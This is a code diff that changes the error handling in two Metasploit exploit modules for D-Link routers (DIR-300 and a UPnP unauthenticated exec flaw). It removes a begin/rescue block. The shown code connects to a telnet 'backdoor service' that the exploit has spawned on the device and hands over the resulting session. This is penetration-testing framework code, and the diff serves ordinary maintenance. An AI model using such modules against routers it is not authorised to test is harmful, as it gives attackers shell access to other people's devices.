Don't hidde exceptions

modules/exploits/linux/http/dlink_dir300_exec_telnet.rb

@@ -138,29 +138,23 @@ class Metasploit3 < Msf::Exploit::Remote
     #starting the telnetd gives no response
     request(cmd)
 
-    begin
-      print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
-      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
+    print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
+    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
 
-      if sock.nil?
-        fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
-      end
-
-      print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
-      prompt = negotiate_telnet(sock)
-      if prompt.nil?
-        sock.close
-        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
-      else
-        print_good("#{rhost}:#{rport} - Telnet session successfully established...")
-      end
-
-      handler(sock)
-    rescue
-      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
+    if sock.nil?
+      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
     end
 
-    return
+    print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
+    prompt = negotiate_telnet(sock)
+    if prompt.nil?
+      sock.close
+      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
+    else
+      print_good("#{rhost}:#{rport} - Telnet session successfully established...")
+    end
+
+    handler(sock)
   end
 
   def request(cmd)

modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb

@@ -94,27 +94,23 @@ class Metasploit3 < Msf::Exploit::Remote
       fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
     end
 
-    begin
-      print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
-      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
+    print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
+    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
 
-      if sock.nil?
-        fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
-      end
-
-      print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
-      prompt = negotiate_telnet(sock)
-      if prompt.nil?
-        sock.close
-        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
-      else
-        print_good("#{rhost}:#{rport} - Telnet session successfully established...")
-      end
-
-      handler(sock)
-    rescue
-      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
+    if sock.nil?
+      fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
     end
+
+    print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
+    prompt = negotiate_telnet(sock)
+    if prompt.nil?
+      sock.close
+      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
+    else
+      print_good("#{rhost}:#{rport} - Telnet session successfully established...")
+    end
+
+    handler(sock)
   end
 
   def request(cmd, type)